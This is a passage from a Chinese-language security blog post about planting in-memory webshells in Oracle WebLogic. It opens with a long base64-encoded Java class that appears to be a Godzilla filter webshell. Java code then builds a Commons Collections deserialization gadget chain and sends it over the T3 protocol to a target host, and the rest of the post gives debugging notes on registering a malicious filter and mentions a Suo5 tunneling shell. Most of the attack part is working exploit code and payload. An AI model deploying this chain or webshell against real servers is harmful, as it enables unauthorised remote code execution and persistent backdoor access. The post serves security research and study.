a8MAbAAjgwAnACdDACAAIEBAAdwYXlsb2FkBwGFDAGxAbIBAB1JbmplY3RXZWJsb2dpY0dvZHppbGxhNEZpbHRlcgwBswG0DAB8AH0MAbUBtgEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBtwG4DAG5AboMAbsBvAcBvQwBvgG/DAHAAZIMAJMAlAwBuwGgBwGEDACkAcEMAcIAcwEAHndlYmxvZ2ljLnQzLnNydnIuU2VydmVyUnVudGltZQEABnRoZU9uZQwBwwGlDAHEAREBAB53ZWJsb2dpYy90My9zcnZyL1NlcnZlclJ1bnRpbWUBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAHFAcYHAYkMAccBogEAEGJlYV93bHNfaW50ZXJuYWwMAcgBqQEACGNoaWxkcmVuDAHJAcoHAYoMANcBywEAEWphdmEvdXRpbC9IYXNoU2V0DAD6AcwHAYsMAc0BDwwBzgGrDAHPAaIBADB3ZWJsb2dpYy5zZXJ2bGV0LmludGVybmFsLldlYkFwcFJ1bnRpbWVNQmVhbkltcGwBAAdjb250ZXh0AQAud2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9XZWJBcHBTZXJ2bGV0Q29udGV4dAcBiAwB0AG4AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJanNwRmlsdGVyAQANamF2YS91dGlsL01hcAEABHRlc3QBAAIvKgEADmdldFJvb3RUZW1wRGlyAQAMamF2YS9pby9GaWxlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBADBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXQBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA5qYXZhL3V0aWwvTGlzdAEAM3dlYmxvZ2ljL21hbmFnZW1lbnQvcnVudGltZS9BcHBsaWNhdGlvblJ1bnRpbWVNQmVhbgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQASamF2YS91dGlsL0l0ZXJhdG9yAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEAG2phdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdAEAMShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAZsZW5ndGgBAAMoKUkBAAZ1cGRhdGUBAAcoW0JJSSlWAQAGZGlnZXN0AQAGKElbQilWAQAIdG9TdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHZm9yTmFtZQEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvQnl0ZUFycmF5AQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEAD3ByaW50U3RhY2tUcmFjZQEAEWdldERlY2xhcmVkTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEAFmdldEFwcGxpY2F0aW9uUnVudGltZXMBADgoKVtMd2VibG9naWMvbWFuYWdlbWVudC9ydW50aW1lL0FwcGxpY2F0aW9uUnVudGltZU1CZWFuOwEAEmdldEFwcGxpY2F0aW9uTmFtZQEADWdldFN1cGVyY2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7AQAHaGFzTmV4dAEABG5leHQBAAdnZXROYW1lAQADYWRkACEANgBjAAIAcABxAAAAGAABAHIAcwABAHQAAAAzAAEAAQAAAAUqtwABsQAAAAIAdQAAAAoAAgAAABwABAAdAHYAAAAMAAEAAAAFAHcAeAAAAAEAcgB5AAEAdAAAAD4AAgACAAAABiortwACsQAAAAIAdQAAAAoAAgAAACAABQAhAHYAA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");
Transformer[] transformers = new Transformer[]{new ConstantTransformer(ClasspathClassLoader.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineCodeGenClass", new Class[]{String.class, byte[].class, URL.class}, new Object[]{className, clsData, null}), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}), new ConstantTransformer(new HashSet())};
ChainedTransformer inertChain = new ChainedTransformer(new Transformer[0]);
HashMap<String, String> innerMap = new HashMap();
Map m = LazyMap.decorate(innerMap, inertChain);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, "v");
outerMap.put(tied, "t");
innerMap.remove("v");
Field field = inertChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(inertChain, transformers);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(outerMap);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
T3ProtocolOperation.send(host, port, payload);

上述用的就是CCK3利用链ClasspathClassLoader是weblogic一个util,进行类加载的。直接用它加载内存马即可。

调试分析

这个马获取context上下文用的是Mbean的方法。
image.png
首先获取到J2EEApplicationRuntimeMbeanImpl
image.png
然后筛选名字为bea_wls_internal的app。什么是bea_wls_internal呢,这是weblogic的一个中间件。
J2EEApplicationRuntimeMBeanImpl的父类是RuntimeMBeanDelegate
image.png
之后我们会获取children属性
image.png
其中children属性是一个个的XXXRuntimeBeanImpl对象。最终我们需要获取的是WebAppRuntimeMBeanImpl对象
image.png
其中的context属性是WebAppServletContext对象,也就是我们心心念念的上下文对象
image.png
从debug栏可以看到bea_wls_internal其实就是一个中间件的war包,相当于一个微服务吧?然后获取context中的classloader类加载器
image.png
然后从classloader里取出了cachedclass
image.png
是一个HashMap,我们现在要做的就是往里面放入我们恶意的filter就行了。
我们注册filter用到了FilterManager
image.png
image.png
用到了他的registerFilter,记得访问内存马带上后缀/bea_wls_internal否则无法连接的
image.png

Weblogic Listenr型内存马

暂时先不写了,道理都差不多,感觉再写坑太多了

Weblogic Servlet型内存马

暂时先不写了,道理都差不多,感觉再写坑太多了

Suo5逻辑

就加上几个方法,改改dofilter就行了。suo5马就不能执行命令了,就单单是为了搭建隧道的一个webshell

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#Weblogic